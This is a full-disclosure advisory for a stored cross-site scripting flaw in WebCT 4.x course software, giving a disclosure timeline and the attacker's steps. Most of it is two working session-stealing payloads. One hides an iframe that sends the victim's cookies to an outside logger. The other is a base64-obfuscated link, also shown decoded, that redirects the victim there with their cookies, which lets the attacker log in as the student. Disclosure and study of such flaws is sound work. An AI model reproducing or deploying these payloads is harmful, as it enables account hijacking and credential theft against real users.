WebCT 4.x Javascript Session Stealer

`WebCT 4.x Javascript Session Stealer Exploits  
  
Software: WebCT Campus Edition 4.x (http://secunia.com/product/3280/)  
Affected Version: 4.1.5.8  
Discoverer: Benjamin "balupton" Lupton  
Date Discovered: November 2005  
Date Reported: 25/06/2007  
Software Author Contacted (again) on: 20/07/2007  
Date Published: 05/03/2008  
  
Published At:  
http://www.balupton.com/blogs/dev?title=webct_session_stealer_exploit  
http://www.balupton.com/documents/webct_exploits.txt  
http://seclists.org/fulldisclosure/2008/Mar/0051.html  
http://www.securityfocus.com/bid/28107/info  
http://secwatch.org/advisories/1020585/  
http://secunia.com/advisories/29227/  
  
Attack Type:  
Javascript Session Stealer Exploit.  
  
Description:  
Mail & Discussion Board messages are not properly checked for javascript, allowing javascript to perform a session stealing attack (allowing the attacker to be logged in as the victim).  
  
Tested On:  
Attacks were tested fully on eCentral TAFE's WebCT System in November 2005 (with permission of staff),  
and again on Curtin University's WebCT System in June 2006 (but this time only to see if the javascript will run).  
  
Action Taken:  
Contacted TAFE lecturers and administrators, who didn't really care.  
Contacted WestOne multiple times, but never recieved any response.  
Then contacted Secunia, which would not publish as the discoverer did not own their own copy of the software in question.  
Published as WebCT is being phased out, with Blackboard being the replacement.  
  
Steps:  
The attacker publishes the exploit code in a message with "Don't wrap text" enabled.  
The victim accesses the attacker's message and their cookies are sent to the attacker's remote logger.  
The attacker then logs into the system and replaces his/her cookies with the acquired cookies.  
- Cookies are formatted as follows within the "value" attribute: CookieName=CookieValue; NextCookieName=NextCookieValue;  
The attacker is now logged into the system as the victim.  
In this case the logger is located here: http://www.balupton.com/sandbox/logger.php?pass_code=secret_key  
  
Notes:  
Victims must be students (attack does not work on non students, eg. teachers/admins).  
Attack 2 will also run in Opera, but fails to retrieve the document.cookie value.  
Attack 2 uses a base64 encoded javascript which is executed.  
Both attacks can be customized to allow any javascript to run.  
Javascript can also be developed to post a mail or discussion board message, this works for all types of victims.  
  
Resources:  
Attack Code: See below  
Logger: http://localhost.balupton.com/sandbox/logger.php?pass_code=secret_key&show_source=true  
Base64 Decoder / Encoder: http://www.balupton.com/sandbox/base64.php  
Cookie Editor: Firefox - http://editcookies.mozdev.org/ , Opera - Built In  
  
Attack 1 - IE6SP2 Exploit (Automatic):  
<div id="mycode" style="BACKGROUND: url('java  
script:eval(document.all.mycode.expr)')" expr="// balupton's javascript session stealer automatic hack  
var iframe = document.createElement('iframe');  
iframe.style.border = 'none';  
iframe.style.height = '1px';  
iframe.style.width = '1px';  
var url =  
'http'+'://www.balupton.com/sandbox/logger.php'  
+'?variable=document.cookie'  
+'&value='+escape(document.cookie)  
+'&url='+escape(document.location)  
+'&pass_code=secret_key'  
;  
iframe.src = url;  
document.body.appendChild(iframe);">Thank you</div>  
  
  
Attack 2 - Firefox Exploit (Manual):  
<a href="data:text/html;base64,PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KLy8gYmFsdXB0b24ncyBqYXZhc2NyaXB0IHNlc3Npb24gc3RlYWxlciBtYW51YWwgaGFjaw0KdmFyIHVybCA9DQoJJ2h0dHA6Ly93d3cuYmFsdXB0b24uY29tL3NhbmRib3gvbG9nZ2VyLnBocCcNCgkrJz92YXJpYWJsZT1kb2N1bWVudC5jb29raWUnDQoJKycmdmFsdWU9Jytlc2NhcGUoZG9jdW1lbnQuY29va2llKQ0KCSsnJnVybD0nK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlciA/IGRvY3VtZW50LnJlZmVycmVyIDogJ2h0dHA6Ly9leHBsb2l0ZWRfdXJsLmNvbScpDQoJKycmcGFzc19jb2RlPXNlY3JldF9rZXknDQoJOw0KZG9jdW1lbnQubG9jYXRpb24gPSB1cmw7DQo8L3NjcmlwdD4=">Click Me!</a>  
  
Attack 2 - Firefox Exploit (Manual) - Decoded:  
<script type="text/javascript">  
// balupton's javascript session stealer manual hack  
var url =  
'http://www.balupton.com/sandbox/logger.php'  
+'?variable=document.cookie'  
+'&value='+escape(document.cookie)  
+'&url='+escape(document.referrer ? document.referrer : 'http://exploited_url.com')  
+'&pass_code=secret_key'  
;  
document.location = url;  
</script>  
  
  
`